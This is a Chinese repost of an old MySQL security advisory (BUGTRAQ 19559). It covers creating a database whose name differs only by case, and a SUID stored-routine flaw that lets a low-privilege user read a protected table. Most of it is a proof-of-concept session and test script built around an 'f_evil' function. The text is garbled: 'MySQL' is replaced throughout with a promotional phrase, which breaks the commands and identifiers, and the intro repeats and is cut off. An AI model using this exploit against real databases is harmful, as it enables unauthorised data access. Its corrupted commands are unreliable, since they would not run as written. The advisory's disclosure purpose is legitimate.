MySQL权限提升与安全限制问题探讨

原创
2016-06-07 16:13:57 653浏览

以下的文章主要讲述的是MySQL权限提升与安全限制绕过漏洞的实际应用,我前几天在相关网站看见MySQL权限提升与安全限制绕过漏洞的实际应用的资料,觉得挺好,今天就拿出来供大家分享。 受影响系统: MySQL(和PHP搭配之最佳组合) AB MySQL(和PHP搭配之最佳组合

以下的文章主要讲述的是MySQL权限提升与安全限制绕过漏洞的实际应用,我前几天在相关网站看见MySQL权限提升与安全限制绕过漏洞的实际应用的资料,觉得挺好,今天就拿出来供大家分享。

受影响系统:

MySQL(和PHP搭配之最佳组合) AB MySQL(和PHP搭配之最佳组合)

描述:

BUGTRAQ ID: 19559

MySQL(和PHP搭配之最佳组合)是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

在MySQL(和PHP搭配之最佳组合)上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL(和PHP搭配之最佳组合)的文件系统支持区分大小写的文件名。

此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

测试方法:

【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】

1、创建数据库

  1. $ MySQL(和PHP搭配之最佳组合) -h my.MySQL(和PHP搭配之最佳组合).server -u sample -p -A sample
  2. Enter password:
  3. Welcome to the MySQL(和PHP搭配之最佳组合) monitor. Commands end with ; or \g.
  4. Your MySQL(和PHP搭配之最佳组合) connection id is 263935 to server version: 4.1.16-standard
  5. MySQL(和PHP搭配之最佳组合)> create database another;
  6. ERROR 1044: Access denied for user 'sample'@'%' to database 'another'
  7. MySQL(和PHP搭配之最佳组合)> create database sAmple;
  8. Query OK, 1 row affected (0.00 sec)

2、权限提升

  1. --disable_warnings
  2. drop database if exists MySQL(和PHP搭配之最佳组合)test1;
  3. drop database if exists MySQL(和PHP搭配之最佳组合)test2;
  4. drop function if exists f_suid;
  5. --enable_warnings
  6. # Prepare playground
  7. create database MySQL(和PHP搭配之最佳组合)test1;
  8. create database MySQL(和PHP搭配之最佳组合)test2;
  9. create user malory@localhost;
  10. grant all privileges on MySQL(和PHP搭配之最佳组合)test1.* to malory@localhost;
  11. # Create harmless (but SUID!) function
  12. create function f_suid(i int) returns int return 0;
  13. grant execute on function test.f_suid to malory@localhost;
  14. use MySQL(和PHP搭配之最佳组合)test2;
  15. # Create table in which malory@localhost will be interested but to which
  16. # he won't have any access
  17. create table t1 (i int);
  18. connect (malcon, localhost, malory,,MySQL(和PHP搭配之最佳组合)test1);
  19. # Correct malory@localhost don't have access to MySQL(和PHP搭配之最佳组合)test2.t1
  20. --error ER_TABLEACCESS_DENIED_ERROR
  21. select * from MySQL(和PHP搭配之最佳组合)test2.t1;
  22. # Create function which will allow to exploit security hole
  23. delimiter |;
  24. create function f_evil ()
  25. returns int
  26. sql security invoker
  27. begin
  28. set @a:= current_user();
  29. set @b:= (select count(*) from MySQL(和PHP搭配之最佳组合)test2.t1);
  30. return 0;
  31. end|
  32. delimiter ;|
  33. # Again correct
  34. --error ER_TABLEACCESS_DENIED_ERROR
  35. select f_evil();
  36. select @a, @b;
  37. # Oops!!! it seems that f_evil() is executed in the context of
  38. # f_suid() definer, so malory@locahost gets all info that he wants
  39. select test.f_suid(f_evil());
  40. select @a, @b;
  41. connection default;
  42. drop user malory@localhost;
  43. drop database MySQL(和PHP搭配之最佳组合)test1;
  44. drop database MySQL(和PHP搭配之最佳组合)test2;

建议:

厂商补丁:MySQL(和PHP搭配之最佳组合) AB,目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。


声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。